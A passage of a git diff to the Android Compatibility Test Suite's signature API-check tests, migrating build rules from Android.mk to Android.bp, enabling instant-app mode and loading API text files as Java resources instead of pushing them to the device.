+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsAndroidTestMockCurrentApiSignatureTestCases",
+ defaults: [
+ "signature-api-check-defaults",
+ ],
+ java_resources: [
+ ":cts-android-test-mock-current-txt",
+ ],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.mk b/tests/signature/api-check/android-test-mock-current-api/Android.mk
deleted file mode 100644
index b60f6a3..0000000
--- a/tests/signature/api-check/android-test-mock-current-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestMockCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
- android-test-mock-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
index 4269669..8a4dcdc 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.android_test_mock_current">
+ package="android.signature.cts.api.android_test_mock_current"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
index e90984d..fccf9c7 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -16,15 +16,8 @@
<configuration description="Config for CTS Android Test Mock Current API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAndroidTestMockCurrentApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
<option name="package" value="android.signature.cts.api.android_test_mock_current" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.current.mock.SignatureTest" />
- <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.txt" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.bp b/tests/signature/api-check/android-test-runner-current-api/Android.bp
new file mode 100644
index 0000000..2a6dd7d
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsAndroidTestRunnerCurrentApiSignatureTestCases",
+ defaults: [
+ "signature-api-check-defaults",
+ ],
+ java_resources: [
+ ":cts-android-test-base-current-txt",
+ ":cts-android-test-mock-current-txt",
+ ":cts-android-test-runner-current-txt",
+ ],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.mk b/tests/signature/api-check/android-test-runner-current-api/Android.mk
deleted file mode 100644
index 9f0aad4..0000000
--- a/tests/signature/api-check/android-test-runner-current-api/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestRunnerCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
- android-test-base-current.api \
- android-test-mock-current.api \
- android-test-runner-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
index 8bbf07e..fd030be 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.android_test_runner_current">
+ package="android.signature.cts.api.android_test_runner_current"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
index e2cb9e0..77809ba 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -16,21 +16,8 @@
<configuration description="Config for CTS Android Test Runner Current API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAndroidTestRunnerCurrentApiSignatureTestCases.apk" />
@@ -39,7 +26,7 @@
<option name="package" value="android.signature.cts.api.android_test_runner_current" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.current.runner.SignatureTest" />
- <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api,android-test-mock-current.api,android-test-runner-current.api" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt,android-test-mock-current.txt,android-test-runner-current.txt" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
new file mode 100644
index 0000000..0c53a34
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsApacheHttpLegacy27ApiSignatureTestCases",
+ defaults: [
+ "signature-api-check-defaults",
+ ],
+ java_resources: [
+ ":cts-current-txt",
+ ":cts-apache-http-legacy-current-txt",
+ ],
+ min_sdk_version: "27",
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.mk b/tests/signature/api-check/apache-http-legacy-27-api/Android.mk
deleted file mode 100644
index 906dda8..0000000
--- a/tests/signature/api-check/apache-http-legacy-27-api/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsApacheHttpLegacy27ApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
- current.api \
- apache-http-legacy-current.api \
-
-LOCAL_MIN_SDK_VERSION := 22
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
index 8044d4b..4f32045 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
@@ -16,11 +16,12 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.apache_http_legacy_27">
+ package="android.signature.cts.api.apache_http_legacy_27"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="27"/>
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
<application android:extractNativeLibs="true" android:largeHeap="true"/>
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
index 7c0a7fc..828926f 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
@@ -16,18 +16,8 @@
<configuration description="Config for CTS Apache Http Legacy 27 API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsApacheHttpLegacy27ApiSignatureTestCases.apk" />
@@ -36,8 +26,8 @@
<option name="package" value="android.signature.cts.api.apache_http_legacy_27" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.api27.http.SignatureTest" />
- <option name="instrumentation-arg" key="base-api-files" value="current.api" />
- <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+ <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
+ <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.txt" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
new file mode 100644
index 0000000..e589ab3
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsApacheHttpLegacyCurrentApiSignatureTestCases",
+ defaults: [
+ "signature-api-check-defaults",
+ ],
+ java_resources: [
+ ":cts-apache-http-legacy-current-txt",
+ ],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
deleted file mode 100644
index df69004..0000000
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
- apache-http-legacy-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
index b50d47e..7e75171 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.apache_http_legacy_current">
+ package="android.signature.cts.api.apache_http_legacy_current"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index 0e1559e..4b0df13 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -16,15 +16,8 @@
<configuration description="Config for CTS Apache Http Legacy Current API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsApacheHttpLegacyCurrentApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
<option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.current.http.SignatureTest" />
- <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-current.api" />
+ <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-current.txt" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
new file mode 100644
index 0000000..794a952
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases",
+ defaults: [
+ "signature-api-check-defaults",
+ ],
+ java_resources: [
+ ":cts-current-txt",
+ ":cts-apache-http-legacy-current-txt",
+ ],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.mk b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.mk
deleted file mode 100644
index 563f80e..0000000
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
- current.api \
- apache-http-legacy-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
index 6cf150a..cfd69f3 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.apache_http_legacy_uses_library">
+ package="android.signature.cts.api.apache_http_legacy_uses_library"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
index 8674d5b..f45d52c 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
@@ -16,18 +16,8 @@
<configuration description="Config for CTS Apache Http Legacy UsesLibrary API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases.apk" />
@@ -36,8 +26,8 @@
<option name="package" value="android.signature.cts.api.apache_http_legacy_uses_library" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.http_uses_library.SignatureTest" />
- <option name="instrumentation-arg" key="base-api-files" value="current.api" />
- <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+ <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
+ <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.txt" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/build_signature_apk.mk b/tests/signature/api-check/build_signature_apk.mk
index 8696c4d..98ff55f 100644
--- a/tests/signature/api-check/build_signature_apk.mk
+++ b/tests/signature/api-check/build_signature_apk.mk
@@ -33,35 +33,26 @@
LOCAL_JNI_SHARED_LIBRARIES += libclassdescriptors
LOCAL_MULTILIB := both
-LOCAL_ADDITIONAL_DEPENDENCIES += \
- $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(LOCAL_SIGNATURE_API_FILES))
-
# Add dependencies needed to build/run the test with atest.
#
-# This is a temporary workaround as described in b/123393637. It adds the dependencies that
-# atest requires for each of the modules specified in the LOCAL_SIGNATURE_API_FILES. The
-# mapping from module name to the dependency is slightly complicated due to inconsistencies
-# in the mapping for the different file types, i.e. .api, .csv and .zip. Those
-# inconsistencies will be resolved by build improvement work mentioned in b/123393637.
-#
# Converts:
-# current.api -> $(TARGET_OUT_TESTCASES)/cts-current-api/current.api
-# hiddenapi_flags.csv -> $(TARGET_OUT_TESTCASES)/cts-hiddenapi_flags-csv/hiddenapi_flags.csv
-# system-all.api.zip -> $(TARGET_OUT_TESTCASES)/cts-system-all.api/system-all.api.zip
+# current.api -> $(SOONG_OUT_DIR)/.intermediates/cts/tests/signature/api/cts-current-txt/gen/current.txt
-# Construct module name directory from file name, matches behavior in the
-# build_xml_api_file function in ../api/Android.mk plus some extra rules for handling slight
-# inconsistencies with that behavior for the ..all.zip files used by some signature tests.
+# Construct module name directory from file name, matches location of output of genrules
+# in ../api/Android.bp.
# Replace . with -
# Prefix every entry with cts-
-# Replace -all-api-zip with -all.api to handle ...all.zip files
#
cts_signature_module_deps := $(LOCAL_SIGNATURE_API_FILES)
cts_signature_module_deps := $(subst .,-,$(cts_signature_module_deps))
cts_signature_module_deps := $(addprefix cts-,$(cts_signature_module_deps))
-cts_signature_module_deps := $(subst -all-api-zip,-all.api,$(cts_signature_module_deps))
-LOCAL_REQUIRED_MODULES := $(cts_signature_module_deps)
+# Construct path to the generated files and add them as java resources.
+cts_signature_module_resources := $(addprefix $(SOONG_OUT_DIR)/.intermediates/cts/tests/signature/api/,$(cts_signature_module_deps))
+cts_signature_module_resources := $(addsuffix /gen/,$(cts_signature_module_resources))
+cts_signature_module_resources := $(join $(cts_signature_module_resources),$(LOCAL_SIGNATURE_API_FILES))
+
+LOCAL_JAVA_RESOURCE_FILES += $(cts_signature_module_resources)
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
@@ -75,4 +66,5 @@
include $(BUILD_CTS_PACKAGE)
LOCAL_SIGNATURE_API_FILES :=
+cts_signature_module_resources :=
cts_signature_module_deps :=
diff --git a/tests/signature/api-check/current-api/Android.bp b/tests/signature/api-check/current-api/Android.bp
new file mode 100644
index 0000000..1ca5d11
--- /dev/null
+++ b/tests/signature/api-check/current-api/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsCurrentApiSignatureTestCases",
+ defaults: [
+ "signature-api-check-defaults",
+ ],
+ java_resources: [
+ ":cts-current-txt",
+ ":cts-android-test-base-current-txt",
+ ":cts-android-test-mock-current-txt",
+ ":cts-android-test-runner-current-txt",
+ ],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/current-api/Android.mk b/tests/signature/api-check/current-api/Android.mk
deleted file mode 100644
index 31b1229..0000000
--- a/tests/signature/api-check/current-api/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
- current.api \
- android-test-base-current.api \
- android-test-mock-current.api \
- android-test-runner-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/current-api/AndroidManifest.xml b/tests/signature/api-check/current-api/AndroidManifest.xml
index ab8b1f6..aa6e6c5 100644
--- a/tests/signature/api-check/current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.current">
+ package="android.signature.cts.api.current"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index 0d77827..d605847 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -16,25 +16,9 @@
<configuration description="Config for CTS Current API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="not-shardable" value="true" />
